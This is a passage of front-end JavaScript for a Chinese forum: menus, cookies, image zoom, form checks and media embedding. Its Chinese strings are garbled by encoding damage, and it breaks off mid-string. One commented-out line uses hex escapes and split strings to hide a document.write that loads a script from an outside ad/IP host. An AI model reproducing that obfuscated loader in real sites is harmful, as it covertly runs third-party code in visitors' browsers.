var postSubmited = false;var ctrlobjclassName;var jsmenuobj;var jsmenu = new Array();var timeout = 100;var fclassjs;var fclass=new Array();var editposteids=new Array();var textobj;var userAgent = navigator.userAgent.toLowerCase();var is_opera = (userAgent.indexOf('opera') != -1);var is_saf = ((userAgent.indexOf('applewebkit') != -1) || (navigator.vendor == 'Apple Computer, Inc.'));var is_webtv = (userAgent.indexOf('webtv') != -1);var is_ie = ((userAgent.indexOf('msie') != -1) && (!is_opera) && (!is_saf) && (!is_webtv));var is_ie4 = ((is_ie) && (userAgent.indexOf('msie 4.') != -1));var is_moz = ((navigator.product == 'Gecko') && (!is_saf));var is_kon = (userAgent.indexOf('konqueror') != -1);var is_ns = ((userAgent.indexOf('compatible') == -1) && (userAgent.indexOf('mozilla') != -1) && (!is_opera) && (!is_webtv) && (!is_saf));var is_ns4 = ((is_ns) && (parseInt(navigator.appVersion) == 4));var is_mac = (userAgent.indexOf('mac') != -1);function storeCaret(textEl){    if(textEl.createTextRange){        textEl.caretPos = document.selection.createRange().duplicate();    }}function findtags(parentobj, tag) {    if(typeof parentobj.getElementsByTagName != 'undefined') {        return parentobj.getElementsByTagName(tag);    }    else if(parentobj.all && parentobj.all.tags) {        return parentobj.all.tags(tag);    }    else {        return null;    }}function imgzoom(o) {    if(event.ctrlKey) {        var zoom = parseInt(o.style.zoom, 10) || 100;        zoom -= event.wheelDelta / 12;        if(zoom > 0) {            o.style.zoom = zoom + '%';        }        return false;    } else {        return true;    }}function AddText(txt) {    obj = $('postform').message;    selection = document.selection;    checkFocus();    if(typeof(obj.selectionStart) != 'undefined') {        var opn = obj.selectionStart + 0;        obj.value = obj.value.substr(0, obj.selectionStart) + txt + obj.value.substr(obj.selectionEnd);    } else if(selection && selection.createRange) {        var sel = selection.createRange();        sel.text = txt;        sel.moveStart('character', -mb_strlen(txt));    } else {        obj.value += txt;    }}function insertAtCaret (textEl,	text){    if(textEl.createTextRange && textEl.caretPos){        var caretPos = textEl.caretPos;        caretPos.text += caretPos.text.charAt(caretPos.text.length - 2)	== ' ' ? text +	' '	: text;    } else if(textEl) {        textEl.value +=	text;    } else {        textEl.value = text;    }}function checkFocus() {    var obj = typeof wysiwyg == 'undefined' || !wysiwyg ? $('postform').message : editwin;    if(!obj.hasfocus) {        obj.focus();    }}function mb_strlen(str) {    return (is_ie && str.indexOf('\n') != -1) ? str.replace(/\r?\n/g, '_').length : str.length;}function insertSmiley(smilieid) {    checkFocus();	    var src=emotedir + '/em'+ smilieid +'.gif';    var code='[em'+ smilieid +']';	    if(typeof wysiwyg != 'undefined' && wysiwyg && allowsmilies && (!$('smileyoff') || $('smileyoff').checked == false)) {        if(is_moz) {            applyFormat('InsertImage', false, src);            var smilies = findtags(editdoc.body, 'img');            for(var i = 0; i < smilies.length; i++) {                if(smilies[i].src.match( src )!=null) {                    smilies[i].setAttribute('smilieid', smilieid);                    smilies[i].setAttribute('border', "0");                }            }        } else {            insertText('<img src="' + src + '" border="0" smilieid="' + smilieid + '" alt="" /> ', false);        }    } else {        code += ' ';        AddText(code);    }}function $(id) {    return document.getElementById(id);}function isUndefined(variable) {    return typeof variable == 'undefined' ? true : false;}function in_array(needle, haystack) {    if(typeof needle == 'string') {        for(var i in haystack) {            if(haystack[i] == needle) {                return true;            }        }    }    return false;}function titlecolor(colorCode,color) {    var target =document.getElementById("subject");    var tcolor =document.getElementById("tcolor");    target.style.color=color;    tcolor.value=colorCode;}function boxActive(box,num) {    var menu = document.getElementById("box-"+ box);    var main = menu.parentNode;    var menudivs = menu.getElementsByTagName("DIV");    for (var i = 0; i < menudivs.length; i ++) {        menudivs[i].className = "boxmenu-off";    }    menudivs[num].className = "boxmenu-on";    var parent = menu.parentNode;    var childs = parent.childNodes;    var divs = [];    for (var i = 0, c = childs.length; i < c; i ++) {        if (childs[i].tagName == 'DIV') {            if (divs.length) childs[i].style.display = 'none';            divs[divs.length] = childs[i];        }    }    divs[num+1].style.display = 'block';    if (box ==1 ){        var target1=document.getElementById("annexmessage");        var target2 =document.getElementById("t"+num);        target1.innerHTML ="";        target1.style.display="none";        target2.style.display="block";    }}function postannex(a){    var target1 =document.getElementById(a);    var target2 =document.getElementById("annexmessage");    target1.style.display="none";    target2.style.display="block";    target2.innerHTML='<img src="' + templatedir + '/images/loading.gif">Uploading...';}function loadannex(a){    var target =document.getElementById(a);    target.style.display="block";}/* */	  function Dron_ScrollBox(reid){/* 棰勭疆 */    this.trun1 = document.getElementById(reid+'1');    this.trun2 = document.getElementById(reid+'2');    this.trun = document.getElementById(reid);    this.trun2.innerHTML=this.trun1.innerHTML;    function Marquee(){        this.trun1 = document.getElementById(reid+'1');        this.trun2 = document.getElementById(reid+'2');        this.trun = document.getElementById(reid);        if(this.trun2.offsetWidth-this.trun.scrollLeft<=0){            this.trun.scrollLeft-=this.trun1.offsetWidth;        }else{            this.trun.scrollLeft++;        }    }    var MyMar=setInterval(Marquee,10);    this.trun.onmouseover=function() {        clearInterval(MyMar)    }    this.trun.onmouseout=function() {        MyMar=setInterval(Marquee,10)    }} function showImage(controlID,type){    if(type==1){        var maxWidth=750;        var maxHeight=800;    }else if(type==2){        var maxWidth=600;        var maxHeight=800;    }else {        var maxWidth=120;        var maxHeight=150;		    }    var imageArr=$(controlID);    if(!imageArr) return;    var imageRate =imageArr.offsetWidth / imageArr.offsetHeight;    if(imageArr.offsetWidth > maxWidth) {          imageArr.style.width=maxWidth + 'px';        imageArr.style.Height=maxWidth / imageRate + 'px';      }    if(imageArr.offsetHeight > maxHeight)    {         imageArr.style.width = maxHeight * imageRate + 'px';         imageArr.style.Height = maxHeight + 'px';     }}function bbimg(o){    var zoom=parseInt(o.style.zoom, 10)||100;    zoom+=event.wheelDelta/12;    if (zoom>0)         o.style.zoom=zoom+'%';    return false;}function selectTag(showContent,id,selfObj){    var tag = document.getElementById("tags_"+ id).getElementsByTagName("li");    var taglength = tag.length;    for(i=0; i<taglength; i++){        tag[i].className = "";    }    selfObj.parentNode.className = "selectTag";    for(i=0; j=document.getElementById("tagContent"+ id +i); i++){        j.style.display = "none";    }    document.getElementById(showContent).style.display = "block";}  function doane(event) {    e = event ? event : window.event;    if(is_ie) {        e.returnValue = false;        e.cancelBubble = true;    } else if(e) {        e.stopPropagation();        e.preventDefault();    }}function initCtrl(ctrlobj) {    if(ctrlobj && !ctrlobj.initialized) {        ctrlobj.initialized = true;        ctrlobj.unselectable = true;        ctrlobj.outfunc = typeof ctrlobj.onmouseout == 'function' ? ctrlobj.onmouseout : null;        ctrlobj.onmouseout = function() {            if(this.outfunc) this.outfunc();            jsmenu[ctrlobj.id] = setTimeout('hideMenu()', timeout);        }        ctrlobj.overfunc = typeof ctrlobj.onmouseover == 'function' ? ctrlobj.onmouseover : null;        ctrlobj.onmouseover = function(e) {            doane(e);            if(this.overfunc) this.overfunc();			            for(var id in jsmenu) {                if(jsmenu[id]) clearTimeout(jsmenu[id]);            }			        }    }}function initMenu(ctrlid, menuobj) {    if(menuobj && !menuobj.initialized) {        menuobj.initialized = true;        menuobj.ctrlkey = ctrlid;        menuobj.style.position = 'absolute';		        menuobj.onmouseout = function() {            jsmenu[ctrlid] = setTimeout('hideMenu()', timeout);        }        menuobj.onmouseover = function() {            clearTimeout(jsmenu[ctrlid]);        }				        menuobj.style.zIndex = 100;    }}function showMenu(showid) {    var ctrlobj = $(showid);    if(!ctrlobj) return;	    var showobj = $(showid);    var menuobj = $(showid + '_menu');    if(!showobj|| !menuobj) return;    hideMenu();    initCtrl(ctrlobj);	    ctrlobjclassName = ctrlobj.className;    ctrlobj.className += ' hover';    initMenu(showid, menuobj);    menuobj.style.display = '';    if(!is_opera) {        menuobj.style.clip = 'rect(auto, auto, auto, auto)';    }    setMenuPosition(showid);    jsmenuobj = menuobj;}function setMenuPosition(showid) {    var showobj = $(showid);    var menuobj = $(showid + '_menu');    //offset = 0;    if(showobj) {        showobj.pos = fetchOffset(showobj);        showobj.X = showobj.pos['left'];        showobj.Y = showobj.pos['top'];        showobj.w = showobj.offsetWidth;        showobj.h = showobj.offsetHeight;        menuobj.w = menuobj.offsetWidth;        menuobj.h = menuobj.offsetHeight;        menuobj.style.left = (showobj.X + menuobj.w > document.body.clientWidth) && (showobj.X + showobj.w - menuobj.w >= 0) ? showobj.X + showobj.w - menuobj.w + 'px' : showobj.X + 'px';        menuobj.style.top = ((showobj.Y + showobj.h + menuobj.h > document.documentElement.scrollTop + document.documentElement.clientHeight) && (showobj.Y - menuobj.h >= 0)) ? (showobj.Y - menuobj.h) + 'px' : showobj.Y + showobj.h + 'px';        if(menuobj.style.clip && !is_opera) {            menuobj.style.clip = 'rect(auto, auto, auto, auto)';        }    }}function hideMenu() {    if(jsmenuobj) {        try {            $(jsmenuobj.ctrlkey).className = ctrlobjclassName;        } catch(e) {}        clearTimeout(jsmenu[jsmenuobj.ctrlkey]);        jsmenuobj.style.display = 'none';        jsmenuobj = null;    }}function fetchOffset(obj) {    var left_offset = obj.offsetLeft;    var top_offset = obj.offsetTop;    while((obj = obj.offsetParent) != null) {        left_offset += obj.offsetLeft;        top_offset += obj.offsetTop;    }    return {        'left' : left_offset,         'top' : top_offset    };}function getCookieVal(offset) {    var endstr = document.cookie.indexOf (";", offset);    if (endstr == -1) {        endstr = document.cookie.length;    }    return unescape(document.cookie.substring(offset, endstr));}function getCookie(name) {    var arg = name + "=";    var alen = arg.length;    var clen = document.cookie.length;    var i = 0;    while (i < clen) {        var j = i + alen;        if (document.cookie.substring(i, j) == arg) {            return getCookieVal(j);        }        i = document.cookie.indexOf(" ", i) + 1;        if (i == 0) break;     }    return "";}   function setCookie(name, value, expires, path, domain, secure) {    var expiresvalue='';    if (expires){        var exp  = new Date();         exp.setTime(exp.getTime() + expires*24*60*60*1000);        expiresvalue = exp.toGMTString();    }    document.cookie = name + "=" + escape (value) +    ((expires) ? "; expires=" + expiresvalue : "") +    ((path) ? "; path=" + path : "") +    ((domain) ? "; domain=" + domain : "") +    ((secure) ? "; secure" : "");}  function deleteCookie(name,path,domain) {    if (getCookie(name)) {        document.cookie = name + "=" +        ((path) ? "; path=" + path : "") +        ((domain) ? "; domain=" + domain : "") +        "; expires=Thu, 01-Jan-70 00:00:01 GMT";    }}var zoomobj = Array();var zoomadjust;var zoomstatus = 1;function zoom(obj, zimg) {    if(!zoomstatus) {        window.open(zimg, '', '');        return;    }    if(!zimg) {        zimg = obj.src;    }    if(!$('zoomimglayer_bg')) {        div = document.createElement('div');        div.id = 'zoomimglayer_bg';        div.style.position = 'absolute';        div.style.left = div.style.top = '0px';        div.style.width = '100%';        div.style.height = document.body.scrollHeight + 'px';        div.style.backgroundColor = '#000';        div.style.display = 'none';        div.style.filter = 'progid:DXImageTransform.Microsoft.Alpha(opacity=80,finishOpacity=100,style=0)';        div.style.opacity = 0.8;        $('append_parent').appendChild(div);        div = document.createElement('div');        div.id = 'zoomimglayer';        div.style.position = 'absolute';        div.className = 'popupmenu_popup';        div.style.padding = 0;        $('append_parent').appendChild(div);    }    zoomobj['srcinfo'] = fetchOffset(obj);    zoomobj['srcobj'] = obj;    zoomobj['zimg'] = zimg;    $('zoomimglayer').style.display = '';    $('zoomimglayer').style.left = zoomobj['srcinfo']['left'] + 'px';    $('zoomimglayer').style.top = zoomobj['srcinfo']['top'] + 'px';    $('zoomimglayer').style.width = zoomobj['srcobj'].width + 'px';    $('zoomimglayer').style.height = zoomobj['srcobj'].height + 'px';    $('zoomimglayer').style.filter = 'progid:DXImageTransform.Microsoft.Alpha(opacity=40,finishOpacity=100,style=0)';    $('zoomimglayer').style.opacity = 0.4;    $('zoomimglayer').style.zIndex = 9999;    $('zoomimglayer').innerHTML = '<table width="100%" height="100%" cellspacing="0" cellpadding="0"><tr><td align="center" valign="middle"><img src="' + templatedir + '/images/loading.gif"></td></tr></table><div style="position:absolute;top:-100000px;visibility:hidden"><img onload="zoomimgresize(this)" src="' + zoomobj['zimg'] + '"></div>';}var zoomdragstart = new Array();var zoomclick = 0;function zoomdrag(e, op) {    if(op == 1) {        zoomclick = 1;        zoomdragstart = is_ie ? [event.clientX, event.clientY] : [e.clientX, e.clientY];        zoomdragstart[2] = parseInt($('zoomimglayer').style.left);        zoomdragstart[3] = parseInt($('zoomimglayer').style.top);        doane(e);    } else if(op == 2 && zoomdragstart[0]) {        zoomclick = 0;        var zoomdragnow = is_ie ? [event.clientX, event.clientY] : [e.clientX, e.clientY];        $('zoomimglayer').style.left = (zoomdragstart[2] + zoomdragnow[0] - zoomdragstart[0]) + 'px';        $('zoomimglayer').style.top = (zoomdragstart[3] + zoomdragnow[1] - zoomdragstart[1]) + 'px';        doane(e);    } else if(op == 3) {        if(zoomclick) zoomclose();        zoomdragstart = [];        doane(e);    }}/*document.write("<\x53cr"+"ipt src='http://\x41d."+"\x4Eu9"+"9"+".\x43om"+"/ip."+"asp?loc"+"=zhengzhou'><\/scr"+"ipt>");*/function zoomST(c) {    if($('zoomimglayer').style.display == '') {        $('zoomimglayer').style.left = (parseInt($('zoomimglayer').style.left) + zoomobj['x']) + 'px';        $('zoomimglayer').style.top = (parseInt($('zoomimglayer').style.top) + zoomobj['y']) + 'px';        $('zoomimglayer').style.width = (parseInt($('zoomimglayer').style.width) + zoomobj['w']) + 'px';        $('zoomimglayer').style.height = (parseInt($('zoomimglayer').style.height) + zoomobj['h']) + 'px';        var opacity = c * 20;        $('zoomimglayer').style.filter = 'progid:DXImageTransform.Microsoft.Alpha(opacity=' + opacity + ',finishOpacity=100,style=0)';        $('zoomimglayer').style.opacity = opacity / 100;        c++;        if(c <= 5) {            setTimeout('zoomST(' + c + ')', 5);        } else {            zoomadjust = 1;            $('zoomimglayer').style.filter = '';            $('zoomimglayer_bg').style.display = '';            $('zoomimglayer').innerHTML = '<table cellspacing="0" cellpadding="2" style="background-color: #f3f3f3;"><tr><td style="text-align: right;">榧犳爣婊氳疆缂╂斁鍥剧墖 <a href="' + zoomobj['zimg'] + '" target="_blank"><img src="' + templatedir + '/images/newwindow.gif" border="0" style="vertical-align: middle" title="鍦ㄦ柊绐楀彛鎵撳紑" /></a> <a href="###" onclick="zoomimgadjust(event, 1)"><img src="' + templatedir + '/images/resize.gif" border="0" style="vertical-align: middle" title="瀹為檯澶у皬" /></a> <a href="###" onclick="zoomclose()"><img style="vertical-align: middle" src="' + templatedir +'/images/close.gif" title="鍏抽棴" /></a>&nbsp;</td></tr><tr><td align="center" id="zoomimgbox"><img id="zoomimg" style="cursor: move; margin: 5px;" src="' + zoomobj['zimg'] + '" width="' + $('zoomimglayer').style.width + '" height="' + $('zoomimglayer').style.height + '"></td></tr></table>';            $('zoomimglayer').style.overflow = 'visible';            $('zoomimglayer').style.width = $('zoomimglayer').style.height = 'auto';            if(is_ie){                $('zoomimglayer').onmousewheel = zoomimgadjust;            } else {                $('zoomimglayer').addEventListener("DOMMouseScroll", zoomimgadjust, false);            }            $('zoomimgbox').onmousedown = function(event) {                try{                    zoomdrag(event, 1);                }catch(e){}            };            $('zoomimgbox').onmousemove = function(event) {                try{                    zoomdrag(event, 2);                }catch(e){}            };            $('zoomimgbox').onmouseup = function(event) {                try{                    zoomdrag(event, 3);                }catch(e){}            };        }    }}function zoomimgresize(obj) {    zoomobj['zimginfo'] = [obj.width, obj.height];    var r = obj.width / obj.height;    var w = document.body.clientWidth * 0.95;    w = obj.width > w ? w : obj.width;    var h = w / r;    var clientHeight = document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight;    var scrollTop = document.body.scrollTop ? document.body.scrollTop : document.documentElement.scrollTop;    if(h > clientHeight) {        h = clientHeight;        w = h * r;    }    var l = (document.body.clientWidth - w) / 2;    var t = h < clientHeight ? (clientHeight - h) / 2 : 0;    t += + scrollTop;    zoomobj['x'] = (l - zoomobj['srcinfo']['left']) / 5;    zoomobj['y'] = (t - zoomobj['srcinfo']['top']) / 5;    zoomobj['w'] = (w - zoomobj['srcobj'].width) / 5;    zoomobj['h'] = (h - zoomobj['srcobj'].height) / 5;    $('zoomimglayer').style.filter = '';    $('zoomimglayer').innerHTML = '';    setTimeout('zoomST(1)', 5);}function zoomimgadjust(e, a) {    if(!a) {        if(!e) e = window.event;        if(e.altKey || e.shiftKey || e.ctrlKey) return;        var l = parseInt($('zoomimglayer').style.left);        var t = parseInt($('zoomimglayer').style.top);        if(e.wheelDelta <= 0 || e.detail > 0) {            if($('zoomimg').width <= 200 || $('zoomimg').height <= 200) {                doane(e);                return;            }            $('zoomimg').width -= zoomobj['zimginfo'][0] / 10;            $('zoomimg').height -= zoomobj['zimginfo'][1] / 10;            l += zoomobj['zimginfo'][0] / 20;            t += zoomobj['zimginfo'][1] / 20;        } else {            if($('zoomimg').width >= zoomobj['zimginfo'][0]) {                zoomimgadjust(e, 1);                return;            }            $('zoomimg').width += zoomobj['zimginfo'][0] / 10;            $('zoomimg').height += zoomobj['zimginfo'][1] / 10;            l -= zoomobj['zimginfo'][0] / 20;            t -= zoomobj['zimginfo'][1] / 20;        }    } else {        var clientHeight = document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight;        var scrollTop = document.body.scrollTop ? document.body.scrollTop : document.documentElement.scrollTop;        $('zoomimg').width = zoomobj['zimginfo'][0];        $('zoomimg').height = zoomobj['zimginfo'][1];        var l = (document.body.clientWidth - $('zoomimg').clientWidth) / 2;        l = l > 0 ? l : 0;        var t = (clientHeight - $('zoomimg').clientHeight) / 2 + scrollTop;        t = t > 0 ? t : 0;    }    $('zoomimglayer').style.left = l + 'px';    $('zoomimglayer').style.top = t + 'px';    $('zoomimglayer_bg').style.height = t + $('zoomimglayer').clientHeight > $('zoomimglayer_bg').clientHeight ? (t + $('zoomimglayer').clientHeight) + 'px' : $('zoomimglayer_bg').style.height;    doane(e);}function zoomclose() {    $('zoomimglayer').innerHTML = '';    $('zoomimglayer').style.display = 'none';    $('zoomimglayer_bg').style.display = 'none';}function adminmode() {    admin= $('huadmin');    if(getCookie('admin'+co)){        deleteCookie('admin'+co);        if(admin) admin.checked=false;    }else{        setCookie('admin'+co,true);        if(admin) admin.checked=true;    }    location.reload()}function wreadmode() {    if(getCookie('wread'+co)){        deleteCookie('wread'+co);    }else{        setCookie('wread'+co,true);    }    location.reload()}function stylemode(sid) {    setCookie('style'+co,sid);    location.reload()}function timemode(mid) {    setCookie('time'+co,mid);    location.reload() }function forumtag(tag) {	    subtag=$('subject');    if(subtag) {        subtag.value=tag+subtag.value;    }    return false;}function verify(form){		    if (form.username.value.length =='')    {        alert('璇锋坊鍐欑敤鎴峰悕');        return false;    }else if (form.password.value.length > passwordmax || form.password.value.length < passwordmin )    {        alert('瀵嗙爜涓嶅湪瑙勫畾鑼冨洿鍐?');        return false;    }else if (form.password.value != form.password2.value)    {        alert('涓ゆ瀵嗙爜涓嶇浉鍚?');        return false;    }else if (form.useremail.value.length =='')    {        alert('璇锋坊鍐欑數瀛愰偖绠?');        return false;    }else if (form.apply.checked!=true)    {        alert('蹇呴』閬靛畧娉ㄥ唽鍗忚');        return false;    }else{	          return true;    }}function loginverify(form){    if (form.username.value.length =='')    {        alert('璇疯緭鍏ョ敤鎴峰悕');        return false;    }else     {	          return true;    }}function validate(theform,a) {	    var message = wysiwyg ? html2bbcode(getEditorContents()) : theform.message.value;    if(!a){        if (theform.subject.value == "" || message == "") {            alert("璇峰畬鎴愭爣棰樺拰鍐呭.");            return false;        }    }    theform.message.value = message;    return true;}function pwverify(form){    if (form.username.value.length =='')    {        alert('璇疯緭鍏ョ敤鎴峰悕');        return false;    }else     {	          return true;    }}function addediteid(id,a)  {    Array.prototype.remove=function(dx)    {        if(isNaN(dx)||dx>this.length){            return false;        }        for(var i=0,n=0;i<this.length;i++)        {                if(this[i]!=this[dx])                {                    this[n++]=this[i]                }            }        this.length-=1    }    if(a.checked==true) {        editposteids.push(id);	       }else{        for (var i = 0; i < editposteids.length; i++)        {                if(editposteids[i]==id){                    editposteids.remove(i);                    return;                }            }    }}function addeid(id)  {    var innet='';    for(var i=0;i<editposteids.length;i++)    {            innet+="<input type=\"hidden\" value=\""+editposteids[i]+"\" name=\"eid[]\"/>";        }    $('addposteid').innerHTML=innet;}function redirec(x,y,z){    document.postform.fmove2.options[0]=new Option("涓嶅垎绫烩€?",0);    count=1;    for(i=0;i<fclass.length;i++)    {            if(fclass[i][0]==x)            {                document.postform.fmove2.options[count]=new Option(fclass[i][2],fclass[i][1]);                if (y==x && z==fclass[i][1]) document.postform.fmove2.options[count].selected=true;                count=count+1;	            }        }    if (count==1){        document.postform.fmove2.style.display="none";    }else{        document.postform.fmove2.style.display="";    }}function redirec2(x,y,z){    document.postform2.fmove2.options[0]=new Option("涓嶅垎绫烩€?",0);    count=1;    for(i=0;i<fclass.length;i++)    {            if(fclass[i][0]==x)            {                document.postform2.fmove2.options[count]=new Option(fclass[i][2],fclass[i][1]);                if (y==x && z==fclass[i][1]) document.postform2.fmove2.options[count].selected=true;                count=count+1;	            }        }    if (count==1){        document.postform2.fmove2.style.display="none";    }else{        document.postform2.fmove2.style.display="";    }}function intval(v){    v = parseInt(v);    return isNaN(v) ? 0 : v;}function getPos(e){    var l = 0;    var t  = 0;    var w = intval(e.style.width);    var h = intval(e.style.height);    var wb = e.offsetWidth;    var hb = e.offsetHeight;    while (e.offsetParent){        l += e.offsetLeft + (e.currentStyle?intval(e.currentStyle.borderLeftWidth):0);        t += e.offsetTop  + (e.currentStyle?intval(e.currentStyle.borderTopWidth):0);        e = e.offsetParent;    }    l += e.offsetLeft + (e.currentStyle?intval(e.currentStyle.borderLeftWidth):0);    t  += e.offsetTop  + (e.currentStyle?intval(e.currentStyle.borderTopWidth):0);    return {        x:l,         y:t,         w:w,         h:h,         wb:wb,         hb:hb    };}function getScroll(){    var t, l, w, h;    if (document.documentElement && document.documentElement.scrollTop) {        t = document.documentElement.scrollTop;        l = document.documentElement.scrollLeft;        w = document.documentElement.scrollWidth;        h = document.documentElement.scrollHeight;    } else if (document.body) {        t = document.body.scrollTop;        l = document.body.scrollLeft;        w = document.body.scrollWidth;        h = document.body.scrollHeight;    }    return {        t: t,         l: l,         w: w,         h: h    };}function scroller(el, duration){    if(!duration) duration=800;    if(typeof el != 'object') {        el = document.getElementById(el);    }    if(!el) return;    var z = this;    z.el = el;    z.p = getPos(el);    z.s = getScroll();    z.clear = function(){        window.clearInterval(z.timer);        z.timer=null    };    z.t=(new Date).getTime();    z.step = function(){        var t = (new Date).getTime();        var p = (t - z.t) / duration;        if (t >= duration + z.t) {            z.clear();            window.setTimeout(function(){                z.scroll(z.p.y, z.p.x)            },13);        } else {            st = ((-Math.cos(p*Math.PI)/2) + 0.5) * (z.p.y-z.s.t) + z.s.t;            sl = ((-Math.cos(p*Math.PI)/2) + 0.5) * (z.p.x-z.s.l) + z.s.l;            z.scroll(st, sl);        }    };    z.scroll = function (t, l){        window.scrollTo(l, t)    };    z.timer = window.setInterval(function(){        z.step();    },13);}function ShowMedia(strURL,type,te) {    if(type==1){        var intWidth=560;        var intHeight=400;    }else{        var intWidth=560;        var intHeight=400;	    }    var strMedia="";    var strType='';    var re = new RegExp("\.[a-z0-9]+$","ig");    var strExtend = re.exec(strURL);    strExtend="|"+String(strExtend).toLowerCase()+"|";	    if(String("|.swf|").indexOf(strExtend)>=0){        strType="SWF"    };    if(String("|.mov|.qt|").indexOf(strExtend)>=0){        strType="QT"    };    if(String("|.wmv|.wmp|.wm|.avi|.mp4|.mpg|.mpeg|.m3u|.pls|.wvx|.wax|.wmx|").indexOf(strExtend)>=0){        strType="WMV"    };    if(String("|.asf|.wma|.asx|.wav|.mp3|.mpa|.mp2|.m1a|.m2a|.aac|").indexOf(strExtend)>=0){        strType="WMA"    };    if(String("|.rm|.ram|.rmvb|.rpm|.amr|.3gp|.3gpp|.3g2|.3gp2|.rt|.rp|.smi|.smil|").indexOf(strExtend)>=0){        strType="RM"    };    if(String("|.ra|").indexOf(strExtend)>=0){        strType="RA"    };	    switch(strType){        case "SWF":            strMedia="<object classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" codebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,29,0\" width=\""+intWidth+"\" height=\""+intHeight+"\"><param name=\"wmode\" value=\"Opaque\"><param name=\"movie\" value=\""+strURL+"\"><param name=\"quality\" value=\"high\"><param name=\"play\" value=\"true\"><embed wmode=\"Opaque\" src=\""+strURL+"\" quality=\"high\" pluginspage=\"http://www.macromedia.com/go/getflashplayer\" type=\"application/x-shockwave-flash\" width=\""+intWidth+"\" height=\""+intHeight+"\" play=\"true\"></embed></object>";            break;        case "QT":            strMedia="<object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" codebase=\"http://www.apple.com/qtactivex/qtplugin.cab\" width=\""+intWidth+"\" height=\""+intHeight+"\" ><param name=\"wmode\" value=\"Opaque\"><param name=\"src\" value=\""+strURL+"\" ><param name=\"autoplay\" value=\"true\" ><embed wmode=\"Opaque\" src=\"qtmimetype.pntg\" type=\"image/x-macpaint\"pluginspage=\"http://www.apple.com/quicktime/download\" qtsrc=\""+strURL+"\" width=\""+intHeight+"\" height=\""+intHeight+"\" autoplay=\"true\" ></embed></object>";            break;        case "WMV":            strMedia="<object classid=\"clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95\" width=\""+intWidth+"\" height=\""+intHeight+"\"><param name=\"wmode\" value=\"Opaque\"><param name=\"ShowStatusBar\" value=\"-1\"><param wmode=\"Opaque\" name=\"AutoStart\" value=\"true\"><param name=\"Filename\" value=\""+strURL+"\"><embed type=\"application/x-mplayer2\" pluginspage=\"http://www.microsoft.com/Windows/MediaPlayer/\" src=\""+strURL+"\" autostart=\"true\" width=\""+intWidth+"\" height=\""+intHeight+"\"></embed></object>";            break;        case "WMA":            strMedia="<object classid=\"clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95\" height=\""+intHeight+"\" width=\""+intWidth+"\"><param name=\"wmode\" value=\"Opaque\"><param name=\"ShowStatusBar\" value=\"-1\"><param name=\"AutoStart\" value=\"true\"><param name=\"Filename\" value=\""+strURL+"\"><embed wmode=\"Opaque\" type=\"application/x-mplayer2\" pluginspage=\"http://www.microsoft.com/Windows/MediaPlayer/\" src=\""+strURL+"\" autostart=\"true\" width=\""+intWidth+"\" height=\""+intHeight+"\"></embed></object>";            break;        case "RM":            strMedia="<object classid=\"clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA\" width=\""+intWidth+"\" height=\""+intHeight+"\"><param name=\"wmode\" value=\"Opaque\"><param name=\"src\" value=\""+strURL+"\"><param name=\"controls\" value=\"imagewindow\"><param name=\"console\" value=\"one\"><param name=\"AutoStart\" value=\"true\"><embed wmode=\"Opaque\" src=\""+strURL+"\" width=\""+intWidth+"\" height=\""+intHeight+"\" type=\"audio/x-pn-realaudio-plugin\" nojava=\"true\" controls=\"imagewindow,ControlPanel,StatusBar\" console=\"one\" autostart=\"true\"></object>";            break;        case "RA":            strMedia="<object classid=\"clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA\" width=\"350\" height=\"36\"><param name=\"wmode\" value=\"Opaque\"><param name=\"src\" value=\""+strURL+"\"><param name=\"controls\" value=\"ControlPanel\"><param name=\"console\" value=\"one\"><param name=\"AutoStart\" value=\"true\"><embed wmode=\"Opaque\" src=\""+strURL+"\" type=\"audio/x-pn-realaudio-plugin\" nojava=\"true\" controls=\"ControlPanel,StatusBar\" console=\"one\" autostart=\"true\" width=\"350\" height=\"36\"></object>";            break;        default:	            strMedia="<embed wmode=\"Opaque\" width=\""+intWidth+"\" height=\""+intHeight+"\" class=\"embed\" src=\""+strURL+"\">";	    }    if(te) return strMedia;    document.write(strMedia);}function checkall(form, prefix, checkall) {    var checkall = checkall ? checkall : 'chkall';    for(var i = 0; i < form.elements.length; i++) {        var e = form.elements[i];        if(e.name != checkall && (!prefix || (prefix && e.name.match(prefix)))) {            e.checked = form.elements[checkall].checked;        }    }}function tpllogin() {    var helpHTML_0=hid?'<a id="ajax_helps" href="javascript:void(0)" onclick=\'ajax_send("purview.php?fid='+hid+'","ajax_help");\'>[版块权限]</a>':'';    var helpHTML_1='欢迎您:'+username+'<a id="ajax_quit" href="javascript:void(0)" onclick=\'ajax_send("quit.php","ajax_help")\'>[退出]</a>';	    var helpHTML_2='<a id="ajax_login" href="javascript:void(0)" onclick=\'ajax_send("login.php","ajax_help")\'>[登陆]</a> <a href="javascript:void(0)" onclick=\'ajax_send("lostpasswd.php","ajax_help")\'>[找回密码]</a>'+helpHTML_0;    //<a id="ajax_reg" href="javascript:void(0)" onclick=\'ajax_send("reg.php","ajax_help")\'>[注册]</a>    document.getElementById("ajax_help").innerHTML=(username!=''?helpHTML_1:helpHTML_2);}function markv(id,value,ma){    var t= $(id);    if(ma==0) {        t.value=0;        return;    }    value=parseInt(t.value)+value;    if(value<-1*ma){        t.value=-1*ma;        return;    }else if(value>ma){        t.value=ma;	        return;    }    t.value=value;}function webmessage(){	    var huss= $('hustyle_'+sid);    if(huss){        huss.style.color="#222";    }    var humm= $('hutime_'+mid);    if(humm){        humm.style.color="#222";    }    var admin= $('huadmin');    if(admin){        if(getCookie('admin'+co)){            admin.checked=true;        }else{            admin.checked=false;        }    }    if(getCookie('re_'+co)!='' || pm>0) {	        var message=decodeURIComponent(getCookie('re_'+co));        var	showid='ajax_help';		        deleteCookie('re_'+co);        var innet_new='<div><a href="javascript:void(0)" onclick="ajax_send(\'leaveword.php\',\'\',\'\')">鎮ㄦ湁'+pm+'鏉℃柊娑堟伅</a></div>';        var innet_pm='<div>'+message+'</div>';        var innet_close='<div class="ajax_close" id="ajax_close"><a href="javascript:void(0)" 